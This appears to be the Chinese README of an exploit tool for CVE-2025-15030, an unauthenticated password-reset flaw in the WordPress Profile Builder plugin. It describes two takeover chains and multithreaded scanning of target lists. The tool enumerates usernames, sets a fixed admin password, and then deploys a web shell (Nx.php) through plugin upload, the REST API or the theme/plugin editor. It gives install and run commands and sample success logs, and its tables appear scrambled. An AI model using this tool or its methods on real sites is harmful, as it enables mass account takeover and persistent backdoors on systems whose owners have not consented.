用户档案生成器 < 3.15.2 - 未经身份验证的任意密码重置
____ _ _____ ____ ____ ____ ____ _ ____ ____ _____ ____
/ _\/ \ |\/ __/ /_ \/ _ \/_ \/ ___\ / \/ ___\/ _ \\__ \/ _ \
| / | | //| \ _____ / /| / \| / /| \_____ | || \| / \| / || / \|
| \__| \// | /_\____\/ /_| \_/|/ /_\___ |\____\| |\___ || \_/| _\ || \_/|
\____/\__/ \____\ \____/\____/\____/\____/ \_/\____/\____//____/\____/
根本原因:
Profile Builder 插件的密码恢复流程 (action2=recover_password2) 未能正确验证重置密钥或强制执行令牌过期。通过提交一个精心构造的 POST 请求(包含从重置页面提取的有效 password_recovery_nonce_field2),未经身份验证的攻击者可以仅凭用户名即可为任何 WordPress 用户(包括管理员)设置新密码。无需邮件交互或有效的重置令牌。
该工具对每个目标实施两条独立的攻击链,并在攻击成功后可选地部署 Shell:
┌────────────────────────────────────────────────────────────────────┐
│ 链1 · 核心 (wp-login 原生重置滥用) │
│ │
│ POST /wp-login.php?action=lostpassword (触发重置) │
│ GET /wp-login.php?action=rp&key=... (跟随重置链接) │
│ POST /wp-login.php?action=resetpass (注入新密码) │
│ 枚举用户名 → 严格登录 → 验证 /wp-admin/ │
├────────────────────────────────────────────────────────────────────┤
│ 链2 · PB (Profile Builder 来自链接的重置) │
│ │
│ 从 pb_reset_links.txt 加载重置 URL │
│ GET <reset_url> → 提取 nonce + userData │
│ POST action2=recover_password2 → 设置新密码 │
│ 严格登录 → 验证 /wp-admin/ 访问权限 │
├────────────────────────────────────────────────────────────────────┤
│ Shell 上传 (在任何确认的管理员命中后执行) │
│ │
│ 方法1 → plugin-install.php 上传 (Nxploited.zip) │
│ 方法2 → REST API /wp-json/wp/v2/plugins │
│ 方法3 → 插件/主题编辑器 (直接写入 Nx.php) │
│ 验证 → GET /wp-content/plugins/Nxploited/Nx.php │
│ 日志 → scan_results/shells.txt │
└────────────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-15030.git
cd CVE-2025-15030
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
rich>=13.0.0
将 Nxploited.zip 放置在与脚本相同的目录中即可启用 Shell 上传。该工具在无此文件时也能运行,但会跳过 Shell 部署。
python3 CVE-2025-15030.py
目标列表文件(每行一个 URL): list.txt
线程数(并发站点)[5]: 5
HTTP 超时(秒)[10]: 10
核心 wp-login 重置成功输出文件: scan_results/wp_login_reset_success.txt
Nxploited Shell 输出文件: scan_results/shells.txt
Profile Builder 重置链接文件(可选): pb_reset_links.txt
所有重置和登录尝试使用的密码固定为:
Nxploited_adminSA
list.txt — 目标(必需)https://target1.com
target2.com
http://target3.com/wordpress
pb_reset_links.txt — Profile Builder 重置链接(可选)如果你已捕获 Profile Builder 的密码重置邮件链接,请在此文件中每行粘贴一个。工具将:
password_recovery_nonce_field2 和 userDataaction2=recover_password2 提交新密码https://target1.com/wp-login.php?action=rp&key=ABC123&login=admin
https://target2.com/?page_id=5&action=recover_password&key=XYZ&login=editor
工具在尝试登录前会自动使用三种方法发现 WordPress 用户名:
| 方法 | 端点 |
|---|---|
| 作者重定向 | /?author=1 → /?author=10 |
每次登录尝试都会经过严格验证后才写入结果。工具检查:
/wp-admin/index.php → id="adminmenu", id="wpadminbar"
/wp-admin/users.php → users.php 指示器
/wp-admin/plugins.php → plugins.php 指示器
/wp-admin/plugin-install.php → upload-plugin, plugin-install-tab
仅当确认**≥ 3 个管理员标记**时,结果才会写入磁盘。
在获取管理员会话后,工具依次尝试三种提权方法:
Shell 验证:GET /wp-content/plugins/Nxploited/Nx.php → HTTP 200
| 文件 | 内容 |
|---|---|
scan_results/wp_login_reset_success.txt | 通过核心链确认的管理员命中 |
scan_results/shells.txt | 已部署的 Shell URL 及凭据 |
wp_login_reset_success.txt
[2025-06-01T14:22:10] https://target.com | https://target.com/wp-login.php | account=admin pass=Nxploited_adminSA
shells.txt
[2025-06-01 14:22:18] https://target.com - admin:Nxploited_adminSA - SHELL: https://target.com/wp-content/plugins/Nxploited/Nx.php
[host] https://target.com
CORE: KEY=OK , RESET=OK , ACCESS=1 |
PB: KEY=FAIL, RESET=FAIL, ACCESS=0 |
SHELL: OK | LOGIN: https://target.com/wp-login.php
| 列 | 含义 |
|---|---|
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
仅供授权的安全研究和教育使用。
作者对任何将该工具用于操作者不拥有或未经明确书面许可测试的系统
的行为不承担任何责任。
未经授权使用违反 CFAA、CMA 及全球等效法律,可能导致刑事起诉。
你对自己的行为承担全部责任。
© 2025 Nxploited · 用户档案生成器 < 3.15.2 · 已在 3.15.2 中修复
| 字段 | 详情 |
|---|
| CVE | CVE-2025-15030 |
| CVSS | 9.8 严重 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| 插件 | WordPress 用户档案生成器 (User Profile Builder) |
| 影响版本 | 3.15.2 之前的所有版本 |
| 认证 | 无需认证 |
| 类型 | 不正确的密码重置 — 未授权账户接管 |
| CWE | CWE-640 · 弱密码恢复机制 |
| REST API |
/wp-json/wp/v2/users |
| 主机名启发式 | 域名的第一个标签 |
| 默认 fallback | 始终包含 admin |
| 方法 | 端点 | 触发方式 |
|---|
| 插件上传 | /wp-admin/update.php?action=upload-plugin | 通过安装表单上传 Nxploited.zip |
| REST API | /wp-json/wp/v2/plugins | 直接 POST ZIP |
| 编辑器写入 | /wp-admin/plugin-editor.php | 通过文件编辑器写入 Nx.php |
KEY| 重置流程成功启动 |
RESET | 服务器接受新密码 |
ACCESS | 确认的管理员登录次数 |
SHELL | 若 Nx.php 确认存活则显示 OK |